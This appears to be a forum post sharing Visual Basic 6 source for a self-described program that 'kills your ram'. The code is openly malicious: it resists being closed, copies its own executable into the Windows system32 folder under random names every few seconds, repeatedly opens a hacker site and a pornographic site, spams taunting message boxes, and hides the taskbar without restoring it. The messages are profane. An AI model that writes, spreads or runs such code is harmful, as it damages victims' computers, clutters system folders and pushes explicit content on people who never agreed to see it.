I made this program.
It kills your ram very fast ;]
Private Sub Command1_Click()
ShellExecute hwnd, "open", "http://www.google.com", _
vbNullString, vbNullString, SW_SHOWNORMAL
End Sub
Private Sub Form_Load()
Me.Caption = "Fucked up v(" & App.Major & "." & App.Minor & "." & App.Revision & ")"
random
Label1.FontSize = 6
Label1.Caption = "Let this be a lesson to you. There are mean people out there that have no problems being malicous. My origional intent was to add chingos of spyware, but then I realized that was just a tad too mean. This seemed to be the better alternative." & vbNewLine & " -MathFuck"
launch.Enabled = True
opens.Enabled = True
recre.Enabled = True
spam.Enabled = True
hideit.Enabled = True
unhideit.Enabled = True
launch.Interval = 59000
opens.Interval = 3000
recre.Interval = 3000
spam.Interval = 23000
hideit.Interval = 22000
unhideit.Interval = 54000
End Sub
Private Sub Form_Unload(Cancel As Integer)
Cancel = 1
Me.hide
MsgBox "But now I go deeper into the abyss"
End Sub
Private Sub hideit_Timer()
hide
End Sub
Private Sub launch_Timer()
ShellExecute hwnd, "open", "http://www.myg0t.com", _ 'for example
vbNullString, vbNullString, SW_hide
End Sub
Private Sub opens_Timer()
ShellExecute hwnd, "open", "http://www.gaysex.com", _
vbNullString, vbNullString, SW_SHOWNORMAL
End Sub
Private Sub recre_Timer()
random
End Sub
Private Sub spam_Timer()
MsgBox "You seem to be getting ram-fucked"
End Sub
Private Sub unhideit_Timer()
unhide
End Sub
---------------------
Public Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Public Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Const SWP_HIDEWINDOW = &H80
Const SWP_SHOWWINDOW = &H40
Public Function Rand(ByVal Low As Long, _
ByVal High As Long) As Long
Rand = Int((High - Low + 1) * Rnd) + Low
End Function
Public Function random()
Dim name1 As Integer
Dim name2 As Integer
Dim name3 As Integer
name1 = Rand(1, 20000)
name2 = Rand(1, 20000)
name3 = Rand(1, 20000)
FileCopy App.EXEName & ".exe", "c:\windows\system32\" & name1 & name2 & name3 & ".exe"
End Function
Public Function hide()
Dim TaskBarHwnd As Long
TaskBarHwnd = FindWindow("Shell_traywnd", "")
Call SetWindowPos(TaskBarHwnd, 0&, 0&, 0&, 0&, 0&, SWP_HIDEWINDOW)
End Function
Public Function unhide()
Dim TaskBarHwnd2 As Long
TaskBarHwnd2 = FindWindow("Shell_traywnd", "")
End Function